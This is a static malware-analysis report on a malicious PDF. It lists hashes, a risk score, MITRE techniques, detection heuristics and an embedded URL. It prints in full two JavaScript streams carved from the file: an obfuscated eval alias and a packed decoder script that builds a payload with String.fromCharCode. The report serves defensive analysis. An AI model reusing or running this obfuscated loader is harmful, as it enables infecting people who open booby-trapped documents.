Malicious PDF — malware analysis report

Static analysis result for SHA-256 1dc2fc64569192a9…

MALICIOUS

PDF

2.7 KB First seen: 2013-08-21
MD5: ea9ce801ed71cda7529b91ac0e8e6144 SHA-1: c11372284ba2944e3c33415940e8144b6177787c SHA-256: 1dc2fc64569192a9197a29f9ee1b1c1652c7259e2c4e3046676a90f2f543b1b6
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript streams, with one stream exhibiting high-confidence maliciousness due to an eval() call and String.fromCharCode usage. The ML classifier also flagged this PDF with a very high probability of being malicious. The presence of obfuscated JavaScript suggests an attempt to download and execute a secondary payload, a common technique for initial access.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/hwjuizy/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/'); /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/N/a Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111711_000.js pdf-javascript-stream PDF /JS object 111711 at offset 0x197 372 bytes
SHA-256: cb9edd56570c797d846bcbe8c59b775b04b58bc5c3c232eb4a541ac3c5a998b7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/hwjuizy/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/'); /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
javascript_obj111712_001.js pdf-javascript-stream PDF /JS object 111712 at offset 0x248 3032 bytes
SHA-256: 788e5d217304bbe6a5caa958c9c1afca3d68fdd31e739a83cde7c8424706e869
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
btcnkpk="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2^0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O3M0K0L242R0I3^0G2X3-000=0B2O0@2b0>3Z3d090:2[2_073P053N032S0131370,0-2`3O0*2a2c";htkog7="A602ZBDFJcKb=gLj00C8hY7MM]]1A70SDG3CTD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?L9@==9`]`^gjU@fGKMg9e_7K]_fH7+[c:K,5P-.PC8b@VX282KbA^P=Dh9.3LV,.ZX>K6OQ:JQCN2*Eg2**.3OZ+,EGeR;?*XK8Tc2<R*T.OeJK96+_2-TK,<-^2;O`1:O:g]._Z9K96*>2TW:K4Kh_3dNQ:LQ?,.]@G,CSPZJ*/2:4*.2CEGK*SAB:**2=E+<.XfIK**4:P@*2=[CV3h7C,CULZJ*/2=,J.3cGg2**.3DZ+,?_@:J*/2=[*.3h7C,CULZJ*/2;?*,.,OXK9BcV2U+8K*5]R:**2<[QK,<T*:Qi1:LL_G,DCAR;bEV2RR?K9.*:Q_`N3A1/K**,ZP/*2:@@W,+=,ZJ**:PVg>2cY_K*5J:J**:P+KB:@@W,+=8K***K*-P:J+^2=@H4.FAe:J>^B:**2=[B@.iPVK3HcV2**@.ZR+,*16K5JWD.-8C,D^[:MLj<.,PE,**+,@WKB=0,].**S,H2*K9SU2=7F@.**S,B>*K9-YK***K5@*2<XL].**S,H2*K9SU2=7F@.**S,4R*:J>W_3f1/K/B3_2+Ha.**,.VCc:NTJ.3jK_2RW1:PP?e.Gaf,44/B=[*.3h7C,?[[B:**V3K:,./OU:J>ZV2**.3U9/,85h2:,c.2**.3JB@./OU:J>^R:**2:*dN2*F].`QLK1/iN2/6a.**,.g@/K9SU2;Q85,**/K64*:J+^2<c5@K*^P:PVg>2cY_K*SPZJ**:OUB@.[JVK**4:JUJ,.]aA:P6^B=-6/,8?QZJ**:J**:J**:J**:J**:J**:J**:J**:QC@>3OC?K8Xf2=*N.34Y>K4_fc<UJ,.eQ@K4XeV3[H/,G<;B<:S/K*,W2=VU4.Z3?K8W2V3@Q4K8U`B=VN@.NT<R=3*.3ag4.OhFK8?a:KKJ+,@5cR<_Y/,8+::NVCV2>?UR=[@O,4SB>2CUJK*+=R:**2:^*?,*@KN2**.2]fXK9Z/:J/RC,**+,<-^2=`<i.Rdb:KP*T.*W-2:**2:]ffR:,_W,**+,*SO_3:^gK**,ZM-*,.+=5R<KQd,**/K6**K0A66K9Z/:J/RC,**+,CU-2<c[?2=8CG,IJ4K*5:].**,.GbLK5SH4.Vf4:M8VT.OA+:PD/B==4TK6b;:O`+4K*?R:KCIN2**@.?:*K+GER;ObG,D-T:J4*V3<bd,**/K9.*:M5QG,IJ4K*5:].**,._[]R:*R.2**.2**.2**.2**.2**.2**.2**.3cJ,.RCi:J*+B=8*2=I]>3DaI,@WD_3PdD.,M-2=ZGV2BBUB:,]U,EGSN3P8?,?GKB<WTb:KGUV3?`DZJ+?_3KF].U@UR<>XW,FfWK8S`R=4h@.Ub@K8GZR<W8].N*+,Gb?K3+52:Xh@.OjC,*1C,<5]R<<XS,/bYK8i::J+22<?Hi.N.TZKE4C,<T@_33AC,454V33;GK8G`2=Xf2=QG<.5YC,GEO:KEGG,/bQ:QI22;?S+,4Xc>2*4e..**H5^Bcg2:K/^+L5-HAV*1gi2836]GXWCFj7h8Mf;B:gN4a89,.2;FZBMI=S+[*DeJ**+-D2h@0gYB*9dg:h.+U?hdVFH.2:LdJ[3a-9SL-L2G`gdNaY=[,,*::JJ.+cY7MMZK,.QB6iP283CTD^IDPMaGJ^eBhNEeGY7MMZK,.A6037Lj7ZaH][+[1R7B8+Z8+[-D2-A>***Y.7VJ7G:**+VFH.2:OOR[1TdJ[/]gc`PRA=N1.+V;FY87CT/_d/g<E/iEKVhOP[/]gc`PRA=N9;e3H7+[c:K,.2ZBDFb<dHFD^>5S^GN1.QB6iP2HL=6QEU@A7MMZK,.73[c:K,5P-.D-`iV9M5cj282KbA^P=Dh9.*2gAP[[c:K,1e[TEe;e_1UhBI0A[ij7h8Mf;B;I.+UT*+HD-`iV9M5cj2HK[0JhIU-c]i9a[[c:K,7+ej@1[OgIN1.9+gj1JKe2_1UhBI0A[ia89,.2;N_^hFWFj9e`XbBBj-iW-BFW8Y@JhIU-c]i9f^Bcg2:_J";goksyug=2751;yvfmc=new Array();while(btcnkpk.length){yvfmc.push((iqdqhw(btcnkpk.charCodeAt(0))<<(4+2))+iqdqhw(btcnkpk.charCodeAt(1))-(500+12));btcnkpk=btcnkpk.slice(2,btcnkpk.length)}jqylbn2=yrbzerg1=btcnkpk=0;yzxnjrb='';function iqdqhw(yzjtgpx5){if(yzjtgpx5>92)yzjtgpx5--;return yzjtgpx5-42}function dsiqip(){if(btcnkpk==0){yrbzerg1=iqdqhw(htkog7.charCodeAt(jqylbn2++));btcnkpk=6;}return ((yrbzerg1>>--btcnkpk)&0x01);}while(goksyug--){i=0;while(yvfmc[i]<0){if(dsiqip())i=-yvfmc[i];else i++;}yzxnjrb+=String.fromCharCode(yvfmc[i]);}